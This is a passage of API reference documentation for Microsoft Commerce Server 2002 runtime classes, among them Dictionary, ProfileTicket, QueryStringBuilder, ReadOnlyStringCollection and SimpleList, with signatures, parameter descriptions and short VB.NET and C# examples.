Unlike previous versions of the dictionary, the dictionary in Commerce Server 2002 is implemented as a hash of name value pairs. This enables the dictionary to perform fast lookups even when a large number of key/value pairs are stored. It also has the side effect that enumerations of dictionary keys may not be returned in the same order they are stored.

The Dictionary object supports the ICloneable and IPersistXML interfaces. Use the ICloneable interface to deep copy all name/value pairs into a new dictionary. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Core Objects

IPersistXML Interface

SimpleList Class


Dictionary Methods (BCL)

Methods

Method | Description
GetEnumerator | Returns an enumerator for Dictionary objects


Dictionary.GetEnumerator Method (BCL)

Use this method to retrieve an enumerator for the Dictionary object.

Definition

[Visual Basic .NET]
Public Function GetEnumerator(
) As IEnumerator
[C#]
public IEnumerator GetEnumerator();

Return Values

If successful, GetEnumerator returns an IEnumerator objects describing a set of Dictionary objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Dictionary Class


Dictionary Properties (BCL)

Properties

Property | Type | Description
Count | Integer | Returns the number of elements in the Dictionary object. This property is read-only.
Prefix | String | Stores the string that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. This property is read/write.
Value | Object | Stores the value of a given Dictionary key. This property is read/write.


Dictionary.Count Property (BCL)

The Count property is a read-only Integer that contains the number of elements in the Dictionary object instance.

Definition

[Visual Basic .NET]
Public Property Count As Integer
[C#]
public int Count {get; }

Property Value

This property returns the number of elements in the Dictionary object instance.

Remarks

The Count parameter points to valid data only if the property is accessed successfully.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Dictionary Class


Dictionary.Prefix Property (BCL)

The Prefix property is a read/write String that acts as a filter when the contents of the Dictionary object are saved (usually to a database). When the name of a name/value pair begins with the specified prefix, that name/value pair is not saved. By default, the prefix is "_", so that any keywords beginning with an underscore character are excluded.

Definition

[Visual Basic .NET]
Public Property Prefix As String
[C#]
public string Prefix ( get; set; );

Property Value

The accessor version of the property returns a String value.

Remarks

By default, the prefix is "_", so that any keywords beginning with an underscore character are excluded.

The pipeline component that saves receipts usually sets the prefix to "_cc_", so that all credit-card information is not saved in the database. The actual string used by the pipeline component is configurable.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Dictionary Class


Dictionary.Value Property (BCL)

The Value property allows you to get or set a name/value pair in the Dictionary.

Definition

[Visual Basic .NET]
Public Property Value(
 bstrName As String
) As Object
[C#]
public object this[ string aKey ] [get; set;]

Parameters

[Visual Basic .NET]
bstrName
A String that contains the name of the Dictionary key for which to retrieve a value or put a value.
[C#]
aKey
A String that contains the name of the Dictionary key for which to retrieve a value or put a value.
Value
When setting the value, an Object that contains the value to which the element specified by the key aKey should be initialized.
When getting the value, an Object containing the value of the key specified by the aKey index. If you stored something less general than an Object, you will have to cast the returned Object to get your saved type.

Dictionary userDict = new Dictionary();

userDict[“creditCard”] = “Amex”; //set
string currentCard = (string) userDict[“creditCard”]; //get

Return Values

The get version of the indexer returns an Object.

Remarks

When using the get version of the indexer, if the key being accessed in the dictionary does not exist, an Object set to null is returned. Therefore, to logically delete a key from the dictionary, you can set the value for the key to DBNull.Value and then to a client of the dictionary. It is indistinguishable from a key/value pair that does not exist. The Value parameter contains valid data only if the property is accessed successfully.

[Visual Basic .NET]

Example

' dDict is a Dictionary object
' first_name is a Dictionary key
' o_first_name is an Object
o_first_name = dDict.Value("first_name")
o_first_name = dDict("first_name")

' use this form if the value contains an object reference:
oSubObject = dDict("myObjectKey")

' Property syntax
o_first_name = dDict.first_name
' If the key begins with an underscore then use braces around the key name
o_first_name = dDict.[_first_name]

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Dictionary Class


LogStatus Enumeration (BCL)

Enumerator listing the return type values for the CommerceContext.LogCommerceEvent method.

Members

Member Name | Description
InvalidEvent | Event object is invalid; certain property values may be breaking validity constraints.
NoTypeInfo | Type information for this object was not obtained.
Ok | Type information for this object is valid.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileTicket Class (BCL)

Contains the profile ticket for the user.

Public Instance Methods

Method | Description
Dispose (Inherited from TicketBase) | Releases resources used by this object.

Public Instance Properties

Property | Description
Item(String) | Retrieves and sets properties on the profile ticket.
UserID | Retrieves and sets the UserID property on the profile ticket.
Value (Inherited from TicketBase) | Retrieves a ticket in string form.

Protected Instance Methods

Method | Description
CheckState (Inherited from TicketBase) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from TicketBase) | Releases the unmanaged resources used by this class and optionally releases managed resources.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileTicket Methods (BCL)

Public Instance Methods

Method | Description
Dispose (Inherited from TicketBase) | Releases resources used by this object.

Protected Instance Methods

Method | Description
CheckState (Inherited from TicketBase) | Verifies that the object has not already been disposed.
Dispose(Boolean) (Inherited from TicketBase) | Releases the unmanaged resources used by this class and optionally releases managed resources.


ProfileTicket Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Retrieves and sets properties on the profile ticket.
UserID | Retrieves and sets the UserID property on the profile ticket.
Value (Inherited from TicketBase) | Retrieves a ticket in string form.


ProfileTicket.Item(String) Property (BCL)

The Item property is a read/write String that retrieves and sets properties on the profile ticket.

Definition

[Visual Basic .NET]
Overrides Public Property Item( _
  ByVal propertyName As System.String _
) As System.String
[C#]
public override System.String Item(
  System.String propertyName
) {get; set;}

Parameters

[Visual Basic .NET]
propertyName
The name of the property to set or retrieve.
[C#]
propertyName
The name of the property to set or retrieve.

Property Value

A String containing the value of the propertyName property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProfileTicket.UserID Property (BCL)

The UserID property is a read/write String containing the user ID for the profile ticket.

Definition

[Visual Basic .NET]
Overrides Public Property UserID As System.String
[C#]
public override System.String UserID {get; set;}

Property Value

The user ID for the profile ticket.

Remarks

If there is no user ID, null is returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder Class (BCL)

Use this class to build encrypted query strings for cookie and cookieless browsers.

Public Instance Methods

Method | Description
BuildUrl(String, Boolean) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String[], String[]) | Generates an encoded URL string based on the parameter values.

Public Instance Properties

Property | Description
CookieSupport | Gets and sets the cookie support level.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder Methods (BCL)

Public Instance Methods

Method | Description
BuildUrl(String, Boolean) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String, String, String, String, String, String, String, String) | Generates an encoded URL string based on the parameter values.
BuildUrl(String, Boolean, String[], String[]) | Generates an encoded URL string based on the parameter values.


QueryStringBuilder.BuildUrl (String, Boolean) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, set to True for https, set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, set to True for https, set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String, String) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String, _
  ByVal urlParameterValue As System.String _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String urlParameterName,
  System.String urlParameterValue
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
A string containing the parameter name.
urlParameterValue
A string of containing the parameter value.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
A string containing the parameter name.
urlParameterValue
A string of containing the parameter value.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String, String, String, String) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String, _
  ByVal urlParameterValue As System.String, _
  ByVal urlParameterName2 As System.String, _
  ByVal urlParameterValue2 As System.String _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String urlParameterName,
  System.String urlParameterValue,
  System.String urlParameterName2,
  System.String urlParameterValue2
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String, String, String, String, String, String) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String, _
  ByVal urlParameterValue As System.String, _
  ByVal urlParameterName2 As System.String, _
  ByVal urlParameterValue2 As System.String, _
  ByVal urlParameterName3 As System.String, _
  ByVal urlParameterValue3 As System.String _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String urlParameterName,
  System.String urlParameterValue,
  System.String urlParameterName2,
  System.String urlParameterValue2,
  System.String urlParameterName3,
  System.String urlParameterValue3
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
urlParameterName3
Name of the third property.
urlParameterValue3
Value of the third property.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
urlParameterName3
Name of the third property.
urlParameterValue3
Value of the third property.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String, String, String, String, String, String, String, String) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String, _
  ByVal urlParameterValue As System.String, _
  ByVal urlParameterName2 As System.String, _
  ByVal urlParameterValue2 As System.String, _
  ByVal urlParameterName3 As System.String, _
  ByVal urlParameterValue3 As System.String, _
  ByVal urlParameterName4 As System.String, _
  ByVal urlParameterValue4 As System.String _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String urlParameterName,
  System.String urlParameterValue,
  System.String urlParameterName2,
  System.String urlParameterValue2,
  System.String urlParameterName3,
  System.String urlParameterValue3,
  System.String urlParameterName4,
  System.String urlParameterValue4
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
urlParameterName3
Name of the third property.
urlParameterValue3
Value of the third property.
urlParameterName4
Name of the fourth property.
urlParameterValue4
Value of the fourth property.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
Name of the first property.
urlParameterValue
Value of the first property.
urlParameterName2
Name of the second property.
urlParameterValue2
Value of the second property.
urlParameterName3
Name of the third property.
urlParameterValue3
Value of the third property.
urlParameterName4
Name of the fourth property.
urlParameterValue4
Value of the fourth property.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder.BuildUrl (String, Boolean, String[], String[]) Method (BCL)

Use this method to generate an encoded URL string.

Definition

[Visual Basic .NET]
Public Function BuildUrl( _
  ByVal filename As System.String, _
  ByVal secure As System.Boolean, _
  ByVal urlParameterName As System.String(), _
  ByVal urlParameterValue As System.String() _
) As System.String
[C#]
public System.String BuildUrl(
  System.String filename,
  System.Boolean secure,
  System.String() urlParameterName,
  System.String() urlParameterValue
);

Parameters

[Visual Basic .NET]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
An array of strings containing parameter names. The array must be the same size as the urlParameterValue parameter value.
urlParameterValue
An array of strings containing parameter values. The array must be the same size as the urlParameterName parameter value.
[C#]
filename
The name of the file.
secure
The Boolean secure flag, which is set to True for https and set to False for http. Https will only be used for the URL if this flag is True and if the site is enabled for https.
urlParameterName
An array of strings containing parameter names. The array must be the same size as the urlParameterValue parameter value.
urlParameterValue
An array of strings containing parameter values. The array must be the same size as the urlParameterName parameter value.

Return Value

The encoded URL string.

Remarks

You have to use the QueryStringBuilder.BuildUrl method every time you want to append the ticket to the URL in a cookieless scenario. If this is not done, the ticket will not be passed on to the next request.

If the filename parameter is not null, the COM method AuthManager.GetURL is called. If the filename parameter is null, and if the CookieSupport property is set to True, then the AuthManager.UrlShopperArgs COM method is called. If the filename parameter is null and the CookieSupport property is set to False, then the AuthManager.UrlArgs COM method is called.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


QueryStringBuilder Properties (BCL)

Public Instance Properties

Property | Description
CookieSupport | Gets and sets the cookie support level.


QueryStringBuilder.CookieSupport Property (BCL)

The CookieSupport property is a read/write Boolean that indicates whether cookies are supported. If supported, tickets are appended to the URL.

Definition

[Visual Basic .NET]
Public Property CookieSupport As System.Boolean
[C#]
public System.Boolean CookieSupport {get;set;}

Property Value

A Boolean indicating whether cookies are supported.

Remarks

The ticket will be appended to the URL if one exists, with the AuthTicket having preference.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Class (BCL)

Provides a read-only string collection.

Public Instance Constructor

Constructor | Description
ReadOnlyStringCollection Constructor(String[]) | Creates a new instance of the ReadOnlyStringCollection class from a given string array.
ReadOnlyStringCollection Constructor(ArrayList) | Creates a new instance of the ReadOnlyStringCollection class from a given ArrayList.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the strings in the collection to an array, starting at a particular array index.
GetEnumerator (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.
IndexOf(String) | Searches for the specified string and returns the zero-based index of the first occurrence within the entire ReadOnlyStringCollection class.

Public Instance Properties

Property | Description
Count (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(Int32) | Indexer that enables getting a string in the collection by index.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Protected Instance Properties

Property | Description
InnerList (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Constructor (BCL)

Public Instance Constructor

Constructor | Description
ReadOnlyStringCollection Constructor(String[]) | Creates a new instance of the ReadOnlyStringCollection class from a given string array.
ReadOnlyStringCollection Constructor(ArrayList) | Creates a new instance of the ReadOnlyStringCollection class from a given ArrayList.


ReadOnlyStringCollection Constructor (ArrayList) (BCL)

Use this method to create a new instance of the ReadOnlyStringCollection class from a given string.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal stringList As System.Collections.ArrayList _
)
[C#]
public ReadOnlyStringCollection(
  System.Collections.ArrayList stringList
);

Parameters

[Visual Basic .NET]
stringList
An array of strings. May be null.
[C#]
stringList
An array of strings. May be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Constructor (String[]) (BCL)

Use this method to create a new instance of the ReadOnlyStringCollection class from a given string array.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal stringArray As System.String[] _
)
[C#]
public ReadOnlyStringCollection(
  System.String[] stringArray
);

Parameters

[Visual Basic .NET]
stringArray
An array of strings. May be null.
[C#]
stringArray
An array of strings. May be null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the strings in the collection to an array, starting at a particular array index.
GetEnumerator (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.
IndexOf(String) | Searches for the specified string and returns the zero-based index of the first occurrence within the entire ReadOnlyStringCollection class.


ReadOnlyStringCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy the strings in the collection to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Public Sub CopyTo( _
  ByVal array As System.Array, _
  ByVal index As System.Int32 _
)
[C#]
public void CopyTo(
  System.Array array,
  System.Int32 index
);

Parameters

[Visual Basic .NET]
array
An array to copy elements into.
index
The starting element in the array to copy elements into.
[C#]
array
An array to copy elements into.
index
The starting element in the array to copy elements into.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection.IndexOf (String) Method (BCL)

Use this method to return the zero based index of the first occurrence within the entire ReadOnlyStringCollection class.

Definition

[Visual Basic .NET]
Public Function IndexOf( _
  ByVal str As System.String _
) As System.Int32
[C#]
public System.Int32 IndexOf(
  System.String str
);

Parameters

[Visual Basic .NET]
str
The string to search for.
[C#]
str
The string to search for.

Return Value

The zero-based index of the first occurrence within the ReadOnlyStringCollection class.

Remarks

Searches for the specified string and returns the zero-based index of the first occurrence within the entire ReadOnlyStringCollection. Returns -1 if the specified string is not found.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection Properties (BCL)

Public Instance Properties

Property | Description
Count (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized.
Item(Int32) | Indexer that enables getting a string in the collection by index.
SyncRoot | Gets an object that can be used for synchronized access to the collection.

Protected Instance Properties

Property | Description
InnerList (Inherited from System.ReadOnlyCollectionBase) | Refer to the .NET Framework SDK documentation for the System.ReadOnlyCollectionBase class.


ReadOnlyStringCollection.IsSynchronized Property (BCL)

The IsSynchronized property is a read-only Boolean that gets a value indicating whether access to the collection is synchronized.

Definition

[Visual Basic .NET]
Public ReadOnly Property IsSynchronized As System.Boolean
[C#]
public System.Boolean IsSynchronized {get;}

Property Value

A Boolean indicating whether access to the collection is synchronized.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection.Item Property (BCL)

The Item property is a read-only indexer that enables getting a string in the collection by index.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal index As System.Int32 _
) As System.String
[C#]
public System.String Item(
  System.Int32 index
) {get;}

Parameters

[Visual Basic .NET]
index
An index number.
[C#]
index
An index number.

Property Value

The string collection for the given index.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ReadOnlyStringCollection.SyncRoot Property (BCL)

The SyncRoot property is a read-only object that can be used for synchronized access to the collection.

Definition

[Visual Basic .NET]
Public ReadOnly Property SyncRoot As System.Object
[C#]
public System.Object SyncRoot {get;}

Property Value

The object used for synchronized access to the collection.

Implements

System.Collections.ICollection

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


RemoveItemFromBasketEvent Class (BCL)

An event used whenever items are removed from the shopping basket.

Public Instance Constructor

Constructor | Description
RemoveItemFromBasketEvent Constructor | Creates a new instance of the RemoveItemFromBasketEvent class.

Public Instance Methods

Method | Description
Validate (Inherited from BasketEvent) | Validates the CatalogName and ProductID property for the basket event.

Public Instance Properties

Property | Description
CatalogName (Inherited from BasketEvent) | The name of the catalog to which the product belongs.
EventType | Returns the event type for the class.
ProductID (Inherited from BasketEvent) | The product identifier for the product associated with the basket.
ReadOnlyPrID (Inherited from BasketEvent) | This commerce property is calculated internally and is read only.
VariantID (Inherited from BasketEvent) | The variant ID for the product associated with the basket.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


RemoveItemFromBasketEvent Constructor (BCL)

Public Instance Constructor

Constructor | Description
RemoveItemFromBasketEvent Constructor | Creates a new instance of the RemoveItemFromBasketEvent class.


RemoveItemFromBasketEvent Constructor (BCL)

Use this method to create a new instance of the RemoveItemFromBasketEvent class.

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public RemoveItemFromBasketEvent(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


RemoveItemFromBasketEvent Methods (BCL)

Public Instance Methods

Method | Description
Validate (Inherited from BasketEvent) | Validates the CatalogName and ProductID property for the basket event.


RemoveItemFromBasketEvent Properties (BCL)

Public Instance Properties

Property | Description
CatalogName (Inherited from BasketEvent) | The name of the catalog to which the product belongs.
EventType | Returns the event type for the class.
ProductID (Inherited from BasketEvent) | The product identifier for the product associated with the basket.
ReadOnlyPrID (Inherited from BasketEvent) | This commerce property is calculated internally and is read only.
VariantID (Inherited from BasketEvent) | The variant ID for the product associated with the basket.


RemoveItemFromBasketEvent.EventType Property (BCL)

The EventType property is a read-only string that returns the event type for the class.

Definition

[Visual Basic .NET]
Public ReadOnly Property EventType As System.String
[C#]
public System.String EventType {get;}

Property Value

A string containing the event type for the class.

Remarks

For removals from the basket, the string RIBSK is returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SimpleList Class (BCL)

Use this object to create an array of objects that supports enumeration.

This object supports the ICloneable and IPersistXML interfaces. Use the ICloneable interface to deep copy all name/value pairs into a new dictionary. Use the IPersistXML interface to convert the Dictionary entries into an XML string and back again.

Public Instance Methods

Method | Description
Add | Adds the specified item to the SimpleList object.
Delete | Deletes the specified item from the SimpleList object.
GetEnumerator | Retrieves an IEnumerator object for enumerating the contents of the SimpleList object.

Public Instance Properties

Property | Type | Description
Count | Integer | Stores the number of elements in the SimpleList object. This property is read-only.
Item | Object | Stores an element of the SimpleList object. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

See Also

Core Objects

Dictionary Class


SimpleList Methods (BCL)

Public Instance Methods

Method | Description
Add | Adds the specified item to the SimpleList object.
Delete | Deletes the specified item from the SimpleList object.
GetEnumerator | Retrieves an IEnumerator object for enumerating the contents of the SimpleList object.


SimpleList.Add Method (BCL)

Use this method to add the specified item to the SimpleList object.

Definition

[Visual Basic .NET]
Public Sub Add(
  ByRef pVar As Object
)
[C#]
public void Add(
  ref object pVar
);

Parameters

[Visual Basic .NET]
pVar
A reference to the Object to add to the SimpleList object.
[C#]
pVar
A reference to the object to add to the SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' The following example adds the string "Hello World" to the oSimpleList
' object instance
' oSimpleList is a Commerce SimpleList object
oSimpleList.Add("Hello World")

Requirements

Namespace: Microsoft.CommerceServer.Runtime

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscscorelib (in mscscorelib.dll)

SimpleList Class

SimpleList.Delete


SimpleList.Delete Method (BCL)

Use this method to delete the specified item from the SimpleList object.

Definition

[Visual Basic .NET]
Public Sub Delete(
  Index As Integer
)
[C#]
public void Delete(
  int Index
);

Parameters

[Visual Basic .NET]
Index
An Integer value that contains the index value of the item to delete.
[C#]
Index
An Integer value that contains the index value of the item to delete.

Exceptions

